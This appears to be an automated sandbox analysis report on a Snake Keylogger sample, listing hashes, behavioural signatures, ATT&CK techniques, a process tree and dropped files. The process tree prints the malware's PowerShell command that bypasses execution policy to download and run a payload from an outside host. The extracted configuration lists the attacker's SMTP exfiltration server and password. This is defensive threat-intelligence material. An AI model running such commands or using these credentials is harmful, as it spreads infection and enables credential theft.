snakekeylogger | 45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
21/05/2024, 14:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe
Size 1024KB
Sample240521-rertkage83
SHA256 45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c
MD5 2e488e75f59f35f2a52e403254f6ac4b
SHA1 f9631fd13ce8fefe5f1aee7d638fb6e2a4ae9ac1
SHA512 1df825813bf3e78b2c7f52e3315dffe1906ae61ff168dd834384180b644a73152f0e4e3905859e4511c13c56d654890e8dd34b04140ce93c907a9113c9452271
SSDEEP 24576:WSu1S82mBVrIiudqjgKJrgKCC9Uy77C/:WSuU82mTV7gKJNZ9J
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

snakekeylogger execution keylogger stealer upx

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol
smtp
Host
mail.sentecltd.cam
Port
587
Username
[email protected]
Password
3q^Ckkz$^jkb
Email to
[email protected]

https://scratchdreams.tk

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/2052-43-0x0000000000570000-0x0000000000596000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	2804	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 2 IoCs

pid	Process
4964	utradvices.scr
2052	utradvices.scr

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3260-9-0x0000000000400000-0x000000000041D000-memory.dmp	upx
behavioral2/memory/3260-11-0x0000000000400000-0x000000000041D000-memory.dmp	upx
behavioral2/memory/3260-12-0x0000000000400000-0x000000000041D000-memory.dmp	upx
behavioral2/memory/3260-13-0x0000000000400000-0x000000000041D000-memory.dmp	upx
behavioral2/memory/3260-38-0x0000000000400000-0x000000000041D000-memory.dmp	upx

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	checkip.dyndns.org

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 536 set thread context of 3260	536	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	83
PID 4964 set thread context of 2052	4964	utradvices.scr	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1164	2052	WerFault.exe	96

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 23 IoCs

pid	Process
2804	powershell.exe
2804	powershell.exe
2052	utradvices.scr
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2052	utradvices.scr

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4776	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe
4776	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 3260	536	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	83
PID 536 wrote to memory of 3260	536	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	83
PID 536 wrote to memory of 3260	536	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	83
PID 536 wrote to memory of 3260	536	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	83
PID 536 wrote to memory of 3260	536	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	83
PID 536 wrote to memory of 3260	536	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	83
PID 536 wrote to memory of 3260	536	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	83
PID 3260 wrote to memory of 800	3260	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	84
PID 3260 wrote to memory of 800	3260	45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe	84
PID 800 wrote to memory of 2804	800	wscript.exe	86
PID 800 wrote to memory of 2804	800	wscript.exe	86
PID 2804 wrote to memory of 4776	2804	powershell.exe	92
PID 2804 wrote to memory of 4776	2804	powershell.exe	92
PID 2804 wrote to memory of 4776	2804	powershell.exe	92
PID 2804 wrote to memory of 4964	2804	powershell.exe	95
PID 2804 wrote to memory of 4964	2804	powershell.exe	95
PID 2804 wrote to memory of 4964	2804	powershell.exe	95
PID 4964 wrote to memory of 2052	4964	utradvices.scr	96
PID 4964 wrote to memory of 2052	4964	utradvices.scr	96
PID 4964 wrote to memory of 2052	4964	utradvices.scr	96
PID 4964 wrote to memory of 2052	4964	utradvices.scr	96
PID 4964 wrote to memory of 2052	4964	utradvices.scr	96
PID 4964 wrote to memory of 2052	4964	utradvices.scr	96
PID 4964 wrote to memory of 2052	4964	utradvices.scr	96
PID 4964 wrote to memory of 2052	4964	utradvices.scr	96
PID 4776 wrote to memory of 4984	4776	AcroRd32.exe	97
PID 4776 wrote to memory of 4984	4776	AcroRd32.exe	97
PID 4776 wrote to memory of 4984	4776	AcroRd32.exe	97
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99
PID 4984 wrote to memory of 4872	4984	RdrCEF.exe	99

C:\Users\Admin\AppData\Local\Temp\45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe
"C:\Users\Admin\AppData\Local\Temp\45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:536
- C:\Users\Admin\AppData\Local\Temp\45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe
  "C:\Users\Admin\AppData\Local\Temp\45a1b2c7883a95776966abbe942254055d36890f9aeaa4c78e18f86046d1600c.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\system32\wscript.exe
    "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\2933.tmp\2934.tmp\2935.vbs //Nologo
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:800
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://advising-receipts.com/Advice.pdf' -OutFile 'C:\Users\Public\Advice.pdf'; Start-Process 'C:\Users\Public\Advice.pdf'; Invoke-WebRequest -Uri 'https://advising-receipts.com/utradvices.scr' -OutFile 'C:\Windows\Temp\utradvices.scr'; Start-Process 'C:\Windows\Temp\utradvices.scr'"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2804
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Public\Advice.pdf"
        5⤵
        Checks processor information in registry
        Modifies Internet Explorer settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4776
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4984
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=163F218CF0EAC45E8758AC00036DDA2C --mojo-platform-channel-handle=1740 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        
        PID:4872
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=BF918E37D31BFE5774D60FD8CDCE5D40 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=BF918E37D31BFE5774D60FD8CDCE5D40 --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
        7⤵
        
        PID:5084
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=6BBA5CC0EA689D1E628C09D07A575F21 --mojo-platform-channel-handle=2264 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        
        PID:2768
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E6045C1C10A7C18969F59E5A95B9F6AE --mojo-platform-channel-handle=2412 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        
        PID:772
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=21BDA6BE48FDA53E4D0C858707B15A38 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=21BDA6BE48FDA53E4D0C858707B15A38 --renderer-client-id=6 --mojo-platform-channel-handle=2284 --allow-no-sandbox-job /prefetch:1
        7⤵
        
        PID:3968
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=01E381BEB99F9095482573C01FF27F93 --mojo-platform-channel-handle=2416 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        
        PID:532
    - - C:\Windows\Temp\utradvices.scr
        
        "C:\Windows\Temp\utradvices.scr" /S
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4964
      - C:\Windows\Temp\utradvices.scr
        
        "C:\Windows\Temp\utradvices.scr"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1496
        7⤵
        Program crash
        
        PID:1164

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2052 -ip 2052
1⤵
PID:4404

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 0dbba0c762bad6eef8da50209a2fbbcd7176e51a99080c5325f939c4b45210df
MD5 c3761effcee1b1e5568eec66725612ae
SHA1 f095581db7ca6bf94be01cdd80b2b0f64cf3928f
SHA512 bf071633f714936e1681b37b9fb709ec4c47ef22c04f584f5f5e0bd634253530b1936d1d4eef4c5489aba9696bebbaf72f20a07642663244b564c658f8cdb554
SSDEEP 384:yevdThatELJ8SWvDTGJCesZsLglKhubvGZsLRZh+vS4:i+elZsLQCZsL3hUS4
MD5 SHA1 SHA512 SSDEEP

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 36KB
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
SSDEEP 24:TLiXlzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Zs3tGl:TqlmFTIF3XmHjBoGGR+jMz+LhT
MD5 SHA1 SHA512 SSDEEP

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 56KB
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
SSDEEP 192:wedRBvVrThe4p4/KhTB4p4CitZtkZsLRGVDbw6H3ph+v3YQa9:weZdThkKhBvkZsLRGlzh+vS9
MD5 SHA1 SHA512 SSDEEP

Submit Download

2935.vbs

Path C:\Users\Admin\AppData\Local\Temp\2933.tmp\2934.tmp\2935.vbs
Size 1KB
SHA256 fa018f8c1f7fd4866228586928843a5f44bc0145b35ea5fd6cf8386414761002
MD5 3a0951c246349163e22cedf1bfd7ec46
SHA1 e6ec6abb1eacc583f7168466fc451125d27a0532
SHA512 70dd9d79b4c259e339ad32943693ee3ba95820cc114c1a11e1f7cfacb865d961f14a7ce76799f5937178a1ac3a096b9f7681960228d799eb1832a528d82b29d2
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_trdbtikz.rch.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_trdbtikz.rch.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Advice.pdf

Path C:\Users\Public\Advice.pdf
Size 132KB
SHA256 aeac8cb84f8c483364e8447b828f291148e33ea8cc9d49c2dd24c2bb21d14645
MD5 65d7a37ba77af04830d2130a4d91e713
SHA1 48304aba544fa9f58e625e0ca7e886287206e895
SHA512 b07127d06c55d8fe45d1000418b87c3e57e35026ccbd411f79a18b7496ad8d475dcc88222927dc3e6703030bbec25489b9ab338ca2132dec8cd6de7148543923
SSDEEP 1536:n6AtCGiFDOwkeR5rU+0gcgyUhKv7Ej6NZ3fFXQZAjyd3gJoBGIU:n6rGsV3rUMcgy40TvKZXd3ggG/
MD5 SHA1 SHA512 SSDEEP

Submit Download

utradvices.scr

Path C:\Windows\Temp\utradvices.scr
Size 1.1MB
SHA256 d04c3e48cef9f341aeb06fd70f68e27d57d7fb9a63b575033dbb7cf3c6455ca5
MD5 4422a3da13d83812a791341547d90b9a
SHA1 f39d4f3253723193fb026cf197e9c6f53dce0d78
SHA512 96ba7b79e9952f962aa1e98c7a43964aa21bd4c0a7abe5889a0597706454297a3348d2cb8217996573875acbb7eab52a414cdd3b43c7b8b603d8e49b4366cd72
SSDEEP 24576:wSu1S82mBVrIiudqVmvkX6QwkbUl4kVHFviLoLU7C:wSuU82mTVTX6QKl4kVHFviLoL
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/536-5-0x0000000074A10000-0x00000000751C0000-memory.dmp

Download

memory/536-1-0x0000000000ED0000-0x0000000000FD6000-memory.dmp

Download

memory/536-2-0x0000000005F10000-0x00000000064B4000-memory.dmp

Download

memory/536-3-0x0000000005A00000-0x0000000005A92000-memory.dmp

Download

memory/536-8-0x0000000005C80000-0x0000000005C88000-memory.dmp

Download

memory/536-7-0x0000000005D30000-0x0000000005DCC000-memory.dmp

Download

memory/536-17-0x0000000074A10000-0x00000000751C0000-memory.dmp

Download

memory/536-0-0x0000000074A1E000-0x0000000074A1F000-memory.dmp

Download

memory/536-6-0x0000000005B90000-0x0000000005BD0000-memory.dmp

Download

memory/536-4-0x00000000059E0000-0x00000000059EA000-memory.dmp

Download

memory/2052-43-0x0000000000570000-0x0000000000596000-memory.dmp

Download

memory/2804-20-0x000001D030250000-0x000001D030272000-memory.dmp

Download

memory/3260-13-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/3260-38-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/3260-12-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/3260-11-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/3260-9-0x0000000000400000-0x000000000041D000-memory.dmp

Download

memory/4964-39-0x0000000000710000-0x000000000082A000-memory.dmp

Download

memory/4964-40-0x0000000005290000-0x00000000052E4000-memory.dmp

Download